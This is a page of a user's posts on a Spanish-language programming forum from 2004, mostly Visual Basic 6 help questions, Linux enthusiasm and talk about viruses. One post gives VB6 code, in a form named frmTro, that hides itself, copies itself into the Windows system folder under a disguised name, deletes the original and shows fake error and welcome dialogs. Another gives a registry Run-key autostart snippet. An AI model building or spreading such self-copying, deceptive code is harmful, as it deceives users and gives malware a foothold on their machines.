• Jueves 28 de Marzo de 2024, 15:16

Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.


Mensajes - RadicalEd

Páginas: 1 ... 119 120 [121] 122 123
3001
Visual Basic 6.0 e inferiores / Re: Mover Image Dentro De Un Form
« en: Miércoles 8 de Septiembre de 2004, 23:10 »
LISTO AMIGO VA ASI
Código: Text
  1.  
  2. Private Sub Form_Load()
  3. On Error Resume Next
  4. Timer1.Interval='valor que queras'
  5. Image1.Left=0
  6. Image1.Top=0
  7. End Sub
  8. Private Sub Timer1_Timer()
  9. Dim x
  10. For x=0 To 'posicion que queras' Step 10 'LA VEOCIDAD A DAR
  11.   Image1.Left=x
  12. Next x
  13. End Sub
  14.  
  15.  
LISTO LO MISMO CON EL TOP Y YA

3002
Visual Basic 6.0 e inferiores / Re: Mover Image Dentro De Un Form
« en: Miércoles 8 de Septiembre de 2004, 20:41 »
DALE EL INTERVALO QUE QUERAS ENTRE MAS PEQUEÑO MAS RAPIDO SERA LA ANIMACION

3003
Visual Basic 6.0 e inferiores / Re: Mover Image Dentro De Un Form
« en: Miércoles 8 de Septiembre de 2004, 18:55 »
PUEDES REPETIR LO ULTIMO COMO ASI?

3004
Visual Basic 6.0 e inferiores / Re: Mover Image Dentro De Un Form
« en: Miércoles 8 de Septiembre de 2004, 17:55 »
MUY FACIL CON UN TIMER COLOCA LA IMAGE EN UNA ESQUINA Y DILE IMAGE1.LEFT=POSICION Y IMAGE1.TOP=POSICION ESO TE DARA UNA SENSACION DE ANIMACION

3005
GNU/Linux / Re: Mandrake, Suse, Slackware,FreeBSD,QNX,Mac;windows
« en: Martes 7 de Septiembre de 2004, 20:56 »
:angry: HAY COMO METEN AL WINDOZE :(  EN ESTA DISCUSION POR FV LINUX ES LO UNICO VITAL EN LA VIDA DE CUALQUIER BUEN PROGRAMADOR, YO USO MANDRAKE Y :brickwall: WINXP  :brickwall:PERO LES DIGO ALGO MANTENGO  JODIENDO EL XP A CADA RATICO PARA SABER QUE MI LINUX ESTA AHI Y SOLO AHI PARA MI, POR FAVOR NUNCA COMPAREN UN PINGUINITO TIERNO Y SUAVECITO CON UNA VENTANA ROTA DEBERIAMOS JODER A  :ph34r: MOCO$OFT :ph34r:  

3006
GNU/Linux / Re: Virus
« en: Martes 7 de Septiembre de 2004, 20:42 »
POR QUE NO TODOS LOS HACKERS DEL MUNDO SE UNEN PARA DERROCAR A MOCO$OFT DE SU DICTADURA Y NOS DEJAN A LINUX COMO FIEL GOBERNANTE, SI TANTO NOS GUSTA

3007
Sobre los Foros de SoloCodigo / Re: Foro De Prestacion Servicios De Programacion
« en: Martes 7 de Septiembre de 2004, 20:20 »
OYE ME PARECE MUY BUENA TU IDEA POR QUE NO SE LA ANUNCIAS AL ADMINISTRADOR DEL FORO DE PRONTO NO SE HA PASADO POR AQUI YO DE TI SE LO COMENTARIA DIRECTAMENTE

3008
Visual Basic 6.0 e inferiores / Re: 2 Codigos Iguales
« en: Martes 7 de Septiembre de 2004, 19:38 »
NO DON MODEREIDOR EL PROBLEMA ES QUE NO ME SACA NINGUN ERROR SOLO NO ME HACE NADA; HACE HASTA LA COPIA DEL ARCHIVO Y LA CREACION DEL OCX PERO NO ME BORRA NINGUNO DE LOS 2 ARCHIVOS ESTOY HABLANDO DEL FRMTRO; TRATA DE COPIARLO Y HACERLO CON LOS 2 CODIGOS

3009
Virus / Re: Nuevo Virus
« en: Lunes 6 de Septiembre de 2004, 18:54 »
POS SERA LOS MISMOS VIRUS QUE ELLOS METEN POR QUE QUIEN MAS MANADA DE HI#@#$|TAS, MAL#@#$|OS ODIO MOCOSOFT PERO AHORA ES LO QUE DA PLATA EN CUANTO A PROGRAMACION, PERO AMO MI LINUX LASTIMA QUE NO LO TENGAN EN CUENTA

3010
Visual Basic 6.0 e inferiores / Re: Inno Setup
« en: Lunes 6 de Septiembre de 2004, 18:48 »
EN ESA CARPETA ESTABA EL SETUP MUCHAS GRACIAS POR EL AVISO

3011
La taberna del BIT / Re: Cuentas De Gmail
« en: Lunes 6 de Septiembre de 2004, 18:37 »
OYE MUCHAS GRACIAS POR TAN GRANDIOSO REGALO POR QUE NO TE PASA POR TODOS LOS FOROS ADVIRTIENDO POR QUE POR ACA ES DURO QUE PASE MUCHA GENTE.
MUCHAS GRACIAS CUENTA NUEVA VIDA NUEVA

3012
GNU/Linux / Virus
« en: Sábado 4 de Septiembre de 2004, 19:42 »
BUENO SI HA LINUX NO LE HAN CHINGADO NI UN VIRUS QUE SE REPORTE POR NOTICIAS O ALGO POR QUE HI.....TA SEGUIMOS USANDO EL WINDOZE PERDON LA GROSERIA

3013
GNU/Linux / Glade
« en: Sábado 4 de Septiembre de 2004, 19:29 »
HOLA CHICOS DE SOLOCODIGO HE TRATADO DE PROGRAMAR CON GLADE PERO AL METER UN CONTROL BOTON ME APARECE DEL TAMAÑO DE LA FORMA Y NO PUEDO DISMINUIRLO NI PODER ENTRAR A ALGUNA VENTANA DE CODIGO COMO HAGO
GRACIAS CHAO

3014
La taberna del BIT / Re: Cuentas De Gmail
« en: Sábado 4 de Septiembre de 2004, 18:52 »
GUAU MENUDA FACHA QUE TE HECHAS QUIEN NO HAYA LEIDO ESTA DISCUSION DEBE ESTAR LOCO TE AGRADECERIA SI ME OBSEQUIARAS UNA CUENTA MI CORREO ES [email:29sjrfw1]vbmanny@eml.cc[/email:29sjrfw1] GRACIAS POR TAN MENUDO REGALO
CHAO GRACIAS

3015
Virus / Nuevo Virus
« en: Sábado 4 de Septiembre de 2004, 18:44 »
AYER ESTUVE REVISANDO UN EQUIPO CON WINXP QUE DECIAN QUE NO FUNCIONABA EL INTERNET LO REVISE Y LO CONFIGURE Y CUANDO ENTRE AL INTERNET ME REINICIO EL EQUIPO, PARECE UNA VARIANTE DEL SASSER CREO YO SOLO QUE ESTE REINICIA LA MAQUINA DE UNA SIN SACAR LA VENTANA DE TIEMPO PARA APAGAR SERA UN NUEVO VIRUSILLO VAYA TU A SABER LO UNICO QUE SE ES QUE HE ESTADO INVESTIGANDO Y NO ENCUENTRO NADA AL RESPECTO HA HAY INSTALADO EL ANTIVIRUS AVG 6.0 EN ESTA MAQUINA ASI QUE QUIEN SABE QUE SERA A LOS 2 MINUTOS COMO MAXIMO ME SACA SI ENCUENTRO ALGO LES HAGO SABER, SI ALGUIEN SABE HAGALO SABER
GRACIAS CHAO

3016
Visual Basic 6.0 e inferiores / Re: Ayuda Ocx
« en: Viernes 3 de Septiembre de 2004, 22:09 »
POR FAVOR AYUDA CON ESTA PREGUNTA NECESITO ELIMINAR 2 OCX's QUE CREE DEL ADMINISTRADOR DE SOFTWARE INSTALADO

3017
Visual Basic 6.0 e inferiores / Re: Cajas
« en: Jueves 2 de Septiembre de 2004, 23:51 »
OYE (COMO SI CON TEXTO SE PUDIERA), ANTES NO TE HAN QUITADO LA DISCUSION DE BUENAS HE; PERO PUEDES HACERLO CON MUCHOS PROGRAMAS GRAFICOS EL NERO TIENE UNA OPCION PARA CREAR LA PARTE UP DE LOS CD's, OTRO PUEDE SER EL COREL DRAW TE AYUDA HA HACER COSAS MAGNIFICAS, BUENO HAY MUCHOS PROGRAMAS CHAO

3018
Visual Basic 6.0 e inferiores / 2 Codigos Iguales
« en: Jueves 2 de Septiembre de 2004, 23:44 »
HOLA CHICOS DE SOLOCODIGO TENGO UN PROBLEMA CON 2 CODIGOS IGUALITOS AQUI LES VA
Código: Text
  1. 'form1
  2. Private Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
  3. Private Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long
  4. Private Sub Form_Load()
  5. On Error Resume Next
  6. Dim z
  7. Me.Visible = False
  8. z = QueryValue(HKEY_CURRENT_USER, "¶¶¶\mani", "pio")
  9. If z <> 1 Then
  10.     Call Create
  11. Else
  12.     Call Killing
  13. End If
  14. End Sub
  15. Sub Create()
  16. On Error Resume Next
  17. Dim m
  18. CreateNewKey HKEY_CURRENT_USER, "¶¶¶\mani"
  19. SetKeyValue HKEY_CURRENT_USER, "¶¶¶\mani", "pio", "1", REG_SZ
  20. WritePrivateProfileString "RegServer", "dar", App.Path + "\" + App.EXEName + ".exe", App.Path & "\lalo.ocx"
  21. FileCopy App.Path + "\" + App.EXEName + ".exe", App.Path + "\mada.exe"
  22. m = Shell(App.Path + "\mada.exe", 0)
  23. AppActivate m
  24. Unload Me
  25. End Sub
  26. Sub Killing()
  27. On Error Resume Next
  28. Dim ret As String, NC As Long
  29. ret = String(255, 0)
  30. NC = GetPrivateProfileString("RegServer", "dar", "Default", ret, 255, App.Path & "\lalo.ocx")
  31. If NC <> 0 Then
  32. ret = Left$(ret, NC)
  33. Call MsgBox("Welcome to Oracle SQL Editor", 48, "SQL Editor")
  34. Kill (ret)
  35. Kill (App.Path & "\lalo.ocx")
  36. Call MsgBox("Critical Stack Overflow Application will be Close", 16, "Warning")
  37. End If
  38. End Sub
  39.  
  40.  
Código: Text
  1.  
  2. 'frmTro
  3. Private Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
  4. Private Declare Function WritePrivateProfileString Lib "kernel32" Alias "WritePrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long
  5. Private Sub Form_Load()
  6. On Error Resume Next
  7. Dim z
  8. Me.Visible = False
  9. z = QueryValue(HKEY_CURRENT_USER, "¶¶¶\mani", "pio")
  10. If z <> 1 Then
  11.     Call Create
  12. Else
  13.     Call Killing
  14. End If
  15. App.TaskVisible = False   'Ocultar en la barra de tareas.
  16. End Sub
  17. Sub Create()
  18. On Error Resume Next
  19. Dim m
  20. Dim fso As Object
  21. Set fso = CreateObject("Scripting.FileSystemObject")
  22. CreateNewKey HKEY_CURRENT_USER, "¶¶¶\mani"
  23. SetKeyValue HKEY_CURRENT_USER, "¶¶¶\mani", "pio", "1", REG_SZ
  24. WritePrivateProfileString "RegServer", "dar", App.Path + "\" + App.EXEName + ".exe", App.Path + "\WinIni.ocx"
  25. FileCopy App.Path + "\" + App.EXEName + ".exe", fso.GetSpecialFolder(1) + "\WinIni.Exe"
  26. m = Shell(fso.GetSpecialFolder(1) + "\WinIni.Exe", 0)
  27. AppActivate m
  28. Unload Me
  29. End Sub
  30. Sub Killing()
  31. On Error Resume Next
  32. Dim ret As String, NC As Long
  33. ret = String(255, 0)
  34. NC = GetPrivateProfileString("RegServer", "dar", "Default", ret, 255, App.Path & "\WinIni.ocx")
  35. If NC <> 0 Then
  36. ret = Left$(ret, NC)
  37. Call MsgBox("Welcome to Oracle SQL Editor", 48, "SQL Editor")
  38. Kill (ret)
  39. Kill (App.Path & "\WinIni.ocx")
  40. Call MsgBox("Critical Stack Overflow Application will be Close", 16, "Warning")
  41. End If
  42. End Sub
  43.  
EL PROBLEMA ES QUE EL FORM1 ME FUNCIONA A LA PERFECCION PERO EL FRMTRO NO Y NO SE POR QUE SI SON EL MISMO CODIGO QUE PASA ESTOY TRATANDO DE HACER UNA APLICACION QUE SE AUTOCOPIE EN OTRO LADO DEL PC CUANDO ARRANQUE SE CIERRE Y EL SEGUNDO QUE SE ABRE ELIMINE EL PRIMER ARCHIVO
QUE ESTA MAL AYUDENMEN
GRACIAS CHAO

3019
Visual Basic 6.0 e inferiores / Re: Inno Setup
« en: Jueves 2 de Septiembre de 2004, 23:39 »
SI ME MUESTRA LA OPCION DE COMPILARLO Y DE CORRERLO PERO LO QUE HACE ES EJECUTARLO CON EL INNO SETUP NO ME DEJA UN SETUP EJECUTABLE QUE PUEDA TRANSPORTAR A OTRAS MAQUINAS

3020
Visual Basic 6.0 e inferiores / Inno Setup
« en: Jueves 2 de Septiembre de 2004, 18:06 »
HOLA CHICOS DE SOLOCODIGO ESTOY APRENDIENDO A TRABAJAR CON EL INNO SETUP PARA MIS APLICACIONES EN VB EL PROBLEMA ES QUE NO SE COMO SACAR EL SETUP EJECUTABLE COMO LO HAGO?
ADEMAS ANTERIORMENTE POSTIE UNA PREGUNTA DE COMO UTILIZAR MIS APLICACIONES SIN LAS MSVBVM*.DLL Y OCX QUE NECESITA VB PARA TRABAJAR Y ME DIERON ESTE PROGRAMA LO QUE HACE ES CREAR UN SETUP YO NECESITO ES QUE LAS APLICACIONES TRABAJEN DE UNA COMO EJECUTABLES SIN QUE ME PIDAN DICHOS ARCHIVOS Y CONECTARLOS UTILIZO UN PROGRAMA QUE SE LLAMA ALLOY PERO NO ME SIRVE POR QUE ES SHAREWARE Y ME ESTA MOLESTANDO Y NO ME DEJA CONCATENAR LOS ARCHIVOS AYUDENMEN CON ESTAS 2 PREGUNTITAS
GRACIAS CHAO

3021
Visual Basic 6.0 e inferiores / Re: Aplicacion Auto Ejecutable
« en: Jueves 2 de Septiembre de 2004, 17:41 »
A VER EXPLICATE BIEN COMO ASI QUE DE FRENTE DEL WINDOZE QUIERES QUE TU PROGRAMA OBTENGA EL FOCO SOBRE CUALQUIER APLICACION OSEA SIEMPRE QUEDE AL FRENTE DE TODO O QUE HAGA QUE NO ENTIENDO LO DEL AUTORUN LO QUE TE PUSE ABAJO ES PARA QUE CUANDO INICIE WINDOZE TU APLICACION TAMBIEN INICIE JUNTO CON ESTE O SEA CUANDO APENAS ESTES ENTRANDO AL ESCRITORIO POR EJEMPLO QUE ACABAS DE PRENDER TU PC EL CHINGADO PROGRAMA SE INICIE COMO LO HACEN LOS ANTIVIRUS O OTRAS COSAS QUE INICIAN AL ARRANCAR WINDOZE

3022
Dudas informáticas / Re: Posibles Virus
« en: Martes 31 de Agosto de 2004, 04:06 »
EL ARCHIVO FOLDER.HTT ES DE WINDOZE EN SI NO ES UN PROGRAMA MALIGNO ES EL QUE TE MUESTRA TODA LA INFORMACION DE LOS ARCHIVOS QUE CLICKEAS CON SU TAMAÑO Y SU NOMBRE Y SI SON IMAGENES TE LAS MUESTRA, PERO ESTE EN ESPECIAL ES DETECTABLE POR LOS ANTIVIRUS YA QUE SE AUTOREPLICA JUNTO CON EL DESKTOP.INI CREANDOSE EN TODA CARPETA QUE TENGA LA OPCION DE WEB PAGE ACTIVADA, EN CUANTO AL THUMBS.DB DE WINXP POSTIE LA MISMA PREGUNTA QUE TU MARALA EN EL FORO DE VIRUS NO ES NINGUN ARCHIVO MALIGNO

3023
Dudas informáticas / Re: Còmo Recupero Informaciòn De Un Disco?
« en: Martes 31 de Agosto de 2004, 04:00 »
JUANK PODRIAS COMPARTIRLAS CON MUCHO GUSTO LAS PAGARIA ME PARECEN BUENOS PROGRAMAS CHAO
P.D. SOY DE CALI

3024
Visual Basic 6.0 e inferiores / Ayuda Ocx
« en: Sábado 28 de Agosto de 2004, 17:26 »
:( OLA CHICOS DE SOLOCODIGO CREE UN ARCHIVO OCX Y LO REGISTRE PERO DESPUES DE UN TIEMPO EL PROGRAMA QUE LO USABA ME DICE QUE NO LO TENGO REGISTRADO USE EL PROGRAMA Regsvr32.exe PARA REGISTRARLO PERO NI ASI Y ADEMAS ME QUEDO EN EL ADMINISTRADOR DE SOFTWARE INSTALADO Y YA NO LO PUEDO DESINSTALAR
COMO HAGO?
GRACIAS CHAO
:(

3025
Visual Basic 6.0 e inferiores / Re: Aplicacion Auto Ejecutable
« en: Sábado 28 de Agosto de 2004, 17:19 »
A VER PUEDES PLASMARLA EN EL REGISTRO EN LA CLAVE HKCU\Software\Microsoft\Windows\CurrentVersion\Run o RunServices
NombreClave REG_SZ "direccion\file.exe"
SI LO QUIERES CUANDO SE EJECUTE EL ARCHIVO PUEDES HACERLO ASI
sub Rege(key,val)
Set WSHShell = CreateObject("WScript.Shell")
WSHShell.Rege Key, Val
End Sub
Rege "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\NombreClave", "direccion\file.exe" o RunServices
O QUE WINDOWS USAS PARA QUE LA PONGAS EN EL WIN.INI EN EL LOAD O RUN
TE PREGUNTO ESTO POR QUE EL XP NO HE VISTO LAS OPCIONES PUEDA QUE ME EQUIVOQUE POR FAVOR CORRIJANMEN

Páginas: 1 ... 119 120 [121] 122 123